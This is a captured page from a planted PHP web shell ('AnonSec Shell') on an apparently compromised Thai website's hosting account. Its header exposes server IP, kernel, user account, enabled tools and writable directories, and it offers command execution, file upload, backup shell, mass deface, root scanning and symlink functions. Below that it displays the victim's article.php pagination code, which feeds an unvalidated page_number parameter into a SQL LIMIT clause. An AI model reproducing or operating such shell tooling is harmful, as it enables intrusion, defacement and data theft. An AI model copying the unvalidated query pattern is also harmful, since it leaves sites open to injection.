AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/article/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/article/article.php
<!-- /.aboutus -->

<div style="margin-top:15px;"></div>

            <?php
				$list_ath = array('table'=>'article','where'=>'status = 1  AND highlight = 1  ','order'=> "ORDER BY id DESC LIMIT 0 , 1");
				$view_ath = $view_db->view($list_ath);
				$row_ath = $view_db->q($view_ath);
			?>
             <a href="info.php?id=<?php echo $row_ath['id'];?>" target="_blank">
             	<img src="../redbag/article/<?php echo $row_ath['image2'];?>" class="img-fluid" style="padding:10px 0">
             </a>

            <img src="../image/line2.png"  class="img-fluid" style="padding:10px 0">
          	<div>
          	  <?php
								$max_rows = 20; // แสดงจำนวนแถวต่อหน้า
								$page_number = 0;
								if(isset($_GET['page_number']))
								{
									 $page_number = $_GET['page_number'];
								}
								$all_array =  array('table'=>'article','where'=>'status	= 1');
								$start_row = $page_number * $max_rows;
								$all_sql = $view_db->view($all_array);
								$all_result = $view_db->q_re($all_sql);
								$total_rows = $view_db->q_nr($all_result);
								$total_rows_num = mysqli_num_rows($all_result);
								$total_pages = ceil($total_rows/$max_rows)-1;
								////////////////////////////////////////
								$list = array('table'=>'article','where'=>'status	= 1','limit'=> "$start_row,$max_rows",'order'=> "ORDER BY id DESC");
								$view = $view_db->view($list);
								$result = $view_db->q_re($view);
								$num_tr = 1;
								$num = 1+($page_number*$max_rows);
								while($row_at = $view_db->q_ro($result))
								{
									?>
									<div class="tab_sub_left2">
										<table width="100%" border="0" class="teble">
										  <tr>
											<td align="left">
												<img src="../redbag/article/<?php echo $row_at['image'];?>" class="img-fluid rounded-circle"
												style="width: 50px;height: 50px;">&nbsp;
					              <a href="info.php?id=<?php echo $row_at['id'];?>" target="_blank" class="text-decoration-none" style="color:#FFF;font-size: 23px;">
														<?php echo $row_at['title']?>
												</a>
											</td>
											<td style="width:12%;" align="right">
												<a href="info.php?id=<?php echo $row_at['id'];?>" target="_blank"class="at_read_moo" style="font-size: 23px;color: rgb(254,215,79,1);">อ่านบทความ...</a>
											</td>
										  </tr>
										</table>
									</div>
									<?php
								}
								?>
            </div>


						<div class="btn-toolbar mb-3 d-flex justify-content-center mt-5" role="toolbar" aria-label="Toolbar with button groups">
						  <div class="btn-group text-center" role="group" aria-label="First group">
								<?php
                if($page_number == 0){
								}else{
                    $a = $page_number - 1;
                ?>
						    <button type="button" class="btn btn-kai1 rounded-circle">
									<a href="index.php?page_number=<?php echo $a?>" class="text-decoration-none text-light">&laquo;</a></button>
								<?php
								}
								for($a=0;$a<=$total_pages;++$a)
								{
								$b = $a + 1 ;
								if($a==$page_number)
								{
								?>
						    <button type="button" class="btn btn-kai1 rounded-circle act-kai1">
									<a href="index.php?page_number=<?php echo $a?>" class="text-decoration-none text-light"><?php echo $b; ?></a></button>
								<?php
								}
								else
								{
								?>
						    <button type="button" class="btn btn-kai1 rounded-circle">
									<a href="index.php?page_number=<?php echo $a?>" class="text-decoration-none text-light" ><?php echo $b; ?></a></button>
								<?php
										}
								}
								if($page_number >= $total_pages)
								{

								}
								else
								{
										$a = $page_number + 1;
						?>
						    <button type="button" class="btn btn-kai1 rounded-circle">
									<a href="index.php?page_number=<?php echo $a?>" class="text-decoration-none text-light">&raquo;</a></button>
								<?php
							}
						?>

						  </div>

						</div>




            <?php //include('../theme/detailfooter.php')?>



<!-- /.aboutus -->

Anon7 - 2022
AnonSec Team